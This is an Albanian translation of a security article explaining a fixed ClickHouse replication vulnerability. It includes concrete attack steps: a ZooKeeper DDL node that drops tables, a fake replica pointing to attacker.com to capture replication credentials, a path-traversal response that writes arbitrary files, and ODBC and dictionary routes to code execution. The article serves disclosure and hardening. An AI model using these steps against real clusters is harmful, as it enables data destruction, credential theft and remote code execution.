
Në këtë artikull do të flitet për një vulnerabilitet mjaft karakteristik në protokollin e replikimit në ClickHouse, dhe do të tregohet se si mund të zgjerohet sipërfaqja e sulmit.
ClickHouse është një bazë të dhënash për ruajtjen e sasisë së mëdha të të dhënave, që zakonisht përdoret nga më shumë se një replikë. Klasterizimi dhe replikimi në ClickHouse ndërtohen mbi (ZK) dhe kërkojnë të drejta shkruese.
Instalimi i ZK nga thelbi nuk kërkon autentifikim, kështu që mijëra serverë ZK që përdoren për konfigurimin e Kafka, Hadoop, ClickHouse janë në dispozicion publikisht.
Për të reduktuar sipërfaqen e sulmit, ju gjithmonë duhet të konfiguroni autentifikimin dhe autorizimin gjatë instalimit të ZooKeeper.
Sigurisht që ka disa 0day bazuar në deserializimin e Java-s, por imagjinoni se një sulmues mund të lexojë dhe të shkruajë në ZooKeeper, i cili përdoret për replikimin e ClickHouse.
Kur konfiguroni në modalitetin e klasterit, ClickHouse mbështet kërkesat e shpërndara , që kalojnë përmes ZK - për to krijohen nodet në fletë /clickhouse/task_queue/ddl.
Për shembull, krijoni një nod /clickhouse/task_queue/ddl/query-0001 me përmbajtje:
version: 1
query: DROP TABLE xxx ON CLUSTER test;
hosts: ['host1:9000', 'host2:9000']dhe pas kësaj, në serverët e klasterit host1 dhe host2, tabela test do të fshihet. DDL gjithashtu mbështet ekzekutimin e kërkesave CREATE/ALTER/DROP.
Dëgjon keq? Por ku mund ta gjejë sulmuesi adresat e serverëve?
punon nĂ« nivelin e tabelave tĂ« veçanta, kĂ«shtu qĂ« kur krijoni njĂ« tabelĂ« nĂ« ZK, caktohet serveri qĂ« do tĂ« jetĂ« pĂ«rgjegjĂ«s pĂ«r shkĂ«mbimin e metadaten me replikat. PĂ«r shembull, gjatĂ« ekzekutimit tĂ« njĂ« kĂ«rkese (ZK duhet tĂ« jetĂ« i konfiguruar, chXX â emri i replikĂ«s, foobar â emri i tabelĂ«s):
CREATE TABLE foobar
(
`action_id` UInt32 DEFAULT toUInt32(0),
`status` String
)
ENGINE=ReplicatedMergeTree(
'/clickhouse/tables/01-01/foobar/', 'chXX')
ORDER BY action_id;do të krijohen nodet columns dhe metadata.
Përmbajtja /clickhouse/tables/01/foobar/replicas/chXX/hosts:
host: chXX-address
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpA mund të ekzekutohen të dhëna nga ky klaster? Po, nëse porta e replikimit (TCP/9009) në serverin chXX-address nuk është e mbyllur nga firewall dhe nuk është konfiguruar autentifikimi për replikim. Si ta kalosh autentifikimin?
Sulmuesi mund të krijojë një replikë të re në ZK, duke kopjuar thjesht përmbajtjen nga /clickhouse/tables/01-01/foobar/replicas/chXX dhe duke ndryshuar vlerën host.
PĂ«rmbajtja /clickhouse/tables/01â01/foobar/replicas/attacker/host:
host: attacker.com
port: 9009
tcp_port: 9000
database: default
table: foobar
scheme: httpPastaj duhet të informoni replikat e tjera se në serverin e sulmuesit ka një bllok të ri të dhënash, të cilin ato duhet ta marrin - krijohet një nod në ZK /clickhouse/tables/01-01/foobar/log/log-00000000XX (XX numri monoton rritës, i cili duhet të jetë më i madh se ai i fundit në ditarin e ngjarjeve):
format version: 4
create_time: 2019-07-31 09:37:42
source replica: attacker
block_id: all_7192349136365807998_13893666115934954449
get
all_0_0_2ku source_replica â emri i replikĂ«s sĂ« sulmuesit, e krijuar nĂ« hapin e mĂ«parshĂ«m, block_id â identifikuesi i bllokut tĂ« tĂ« dhĂ«nave, merr â komanda "get block" (dhe ).
Më pas, çdo replikë lexon ngjarjen e re në regjistër dhe shkon në serverin e kontrolluar nga sulmuesi për të marrë bllokun e të dhënave (protokolli i replikimit është binar, punon mbi HTTP). Serveri attacker.com do të merr kërkesat:
POST /?endpoint=DataPartsExchange:/clickhouse/tables/01-01/default/foobar/replicas/chXX&part=all_0_0_2&compress=false HTTP/1.1
Host: attacker.com
Authorization: XXXku XXX është të dhënat e autentifikimit për replikim. Në disa raste, kjo mund të jetë një llogari me qasje në bazën e të dhënave përmes protokollit kryesor të ClickHouse dhe protokollit HTTP. Siç e keni parë, sipërfaqja e sulmit bëhet kritikisht e madhe, sepse ZooKeeper, i përdorur për replikim, ka mbetur pa autentifikim të konfiguruar.
Le të shohim funksionin e marrjes së bllokut të të dhënave nga një replikë, ai është shkruar me plot besim se të gjitha replikat janë nën kontrollin e duhur dhe mes tyre ekziston besim.

kode për përpunimin e replikimit
Funksioni lexon listën e skedarëve, pastaj emrat e tyre, madhësitë, përmbajtjen, dhe më pas i shkruan ato në sistemin e skedarëve. Duhet përmendur veçmas se si ruhen të dhënat në sistemin e skedarëve.
Ka disa nën-katalogje në /var/lib/clickhouse (katalogu i ruajtjes sipas defoltit nga skedari i konfigurimit):
flamuj â katalogu pĂ«r regjistrimin , tĂ« pĂ«rdorura gjatĂ« rikuperimit pas humbjes sĂ« tĂ« dhĂ«nave;
tmp â katalogu pĂ«r ruajtjen e skedarĂ«ve temporarĂ«;
user_files â operacionet me skedarĂ« nĂ« kĂ«rkesa janĂ« tĂ« kufizuara nĂ« kĂ«tĂ« katalog (INTO OUTFILE dhe tĂ« tjera);
metadata â skedarĂ«t sql me pĂ«rshkrimet e tabelave;
preprocessed_configs â skedarĂ«t e prodhuar tĂ« konfigurimeve tĂ« pĂ«rpunuara nga /etc/clickhouse-server;
data â nĂ« fakt katalogu me tĂ« dhĂ«nat vetĂ«, nĂ« kĂ«tĂ« rast pĂ«r çdo bazĂ« thjesht krijohet njĂ« nĂ«n-katalog i veçantĂ« kĂ«tu (pĂ«r shembull /var/lib/clickhouse/data/default).
PĂ«r çdo tabelĂ« krijohet njĂ« nĂ«n-katalog nĂ« katalogun e bazĂ«s sĂ« tĂ« dhĂ«nave. Ădo kolonĂ« Ă«shtĂ« njĂ« skedar i veçantĂ« nĂ« pĂ«rputhje me . PĂ«r shembull, pĂ«r tabelĂ«n foobar, e krijuar nga sulmuesi, do tĂ« krijohen skedarĂ«t e mĂ«poshtĂ«m:
action_id.bin
action_id.mrk2
checksums.txt
columns.txt
count.txt
primary.idx
status.bin
status.mrk2Replika pret të marrë skedarët me emra të tillë gjatë përpunimit të bllokut të të dhënave dhe nuk i kontrollon ata në asnjë mënyrë.
Lexuesi i vëmendshëm me siguri ka dëgjuar për concatenation-in e pasigurt të file_name në funksionin WriteBufferFromFile. Po, kjo i lejon sulmuesit të shkruajë përmbajtje të rastësishme në çdo skedar në sistemin e skedarëve me të drejtat e përdoruesit clickhouse. Për këtë, replikimi nën kontrollin e sulmuesit duhet të japë përgjigjen e mëposhtme në kërkesë (për thjeshtësi, janë shtuar kthimi i rreshtave):
x01
x00x00x00x00x00x00x00x24
../../../../../../../../../tmp/pwned
x12x00x00x00x00x00x00x00
hellofromzookeeperdhe pas concatenation-it ../../../../../../../../../tmp/pwned do të shkruhet skedari /tmp/pwned me përmbajtjen hellofromzookeeper.
Ka disa mundësi për ta shndërruar mundësinë e shkrimit të skedarëve në ekzekutimin e kodit në distancë (RCE).
Dictionaries të jashtme në RCE
NĂ« versionet e vjetra, katalogu i konfigurimeve tĂ« ClickHouse Ă«shtĂ« ruajtur me tĂ« drejtat e pĂ«rdoruesit clickhouse nĂ«n default. SkedarĂ«t e konfigurimit janĂ« skedarĂ« XML, tĂ« cilĂ«t shĂ«rbimi i lexon gjatĂ« nisjes dhe mĂ« pas i ruan nĂ« /var/lib/clickhouse/preprocessed_configs. Kur ka ndryshime, ata lexohen pĂ«rsĂ«ri. NĂ«se sulmuesi ka akses nĂ« /etc/clickhouse-server ai/saj mund tĂ« krijojĂ« njĂ« tĂ« tipit executable dhe pastaj tĂ« ekzekutojĂ« kod tĂ« rastĂ«sishĂ«m. Versionet aktuale tĂ« ClickHouse nuk i japin tĂ« drejtat nĂ«n default, por nĂ«se serveri Ă«shtĂ« pĂ«rditĂ«suar gradualisht â ato tĂ« drejta mund tĂ« kenĂ« mbetur. NĂ«se po mbani njĂ« grumbull ClickHouse, kontrolloni tĂ« drejtat nĂ« katalogun e konfigurimeve, ai duhet t'i pĂ«rkasĂ« pĂ«rdoruesit root.
ODBC në RCE
Kur instalohet paketa, krijohet një përdorues clickhouse, por nuk krijohet katalogu i tij të shtëpisë /nonexistent. Megjithatë, gjatë përdorimit të dictionaries të jashtme, ose për arsye të tjera, administratorët krijojnë një katalog /nonexistent dhe iu japin përdoruesit clickhouse akses për të shkruar në të (SHTZB! shënim i përkthyesit).
ClickHouse mbështet dhe mund të lidhet me baza të tjera të dhënash. Në ODBC mund të specifikoni rrugën për bibliotekën me driver-in e bazës së të dhënave (.so). Versionet e vjetra të ClickHouse lejonin të ekzekutohej direkt në trajtuesin e kërkesave, por tani është shtuar një kontroll më i rreptë i string-ut të lidhjes në odbc-bridge, kështu që tani nuk është e mundur të specifikohet rruga për driver-in nga kërkesa. Por sulmuesi mund të shkruajë në katalogun e shtëpisë duke përdorur atë dobësi që u përmend më sipër?
Le të krijojmë një skedar ~/.odbc.ini me këtë përmbajtje:
[lalala]
Driver=/var/lib/clickhouse/user_files/test.sopastaj gjatë ekzekutimit SELECT * FROM odbc('DSN=lalala', 'test', 'test'); biblioteka test.so do të ngarkohet dhe do të ketë RCE (faleminderit për sugjerimin).
Këto dhe dobësi të tjera janë rregulluar në versionin ClickHouse 19.14.3. Ruani ClickHouse dhe ZooKeepers tuaj!
Burimi: habr.com
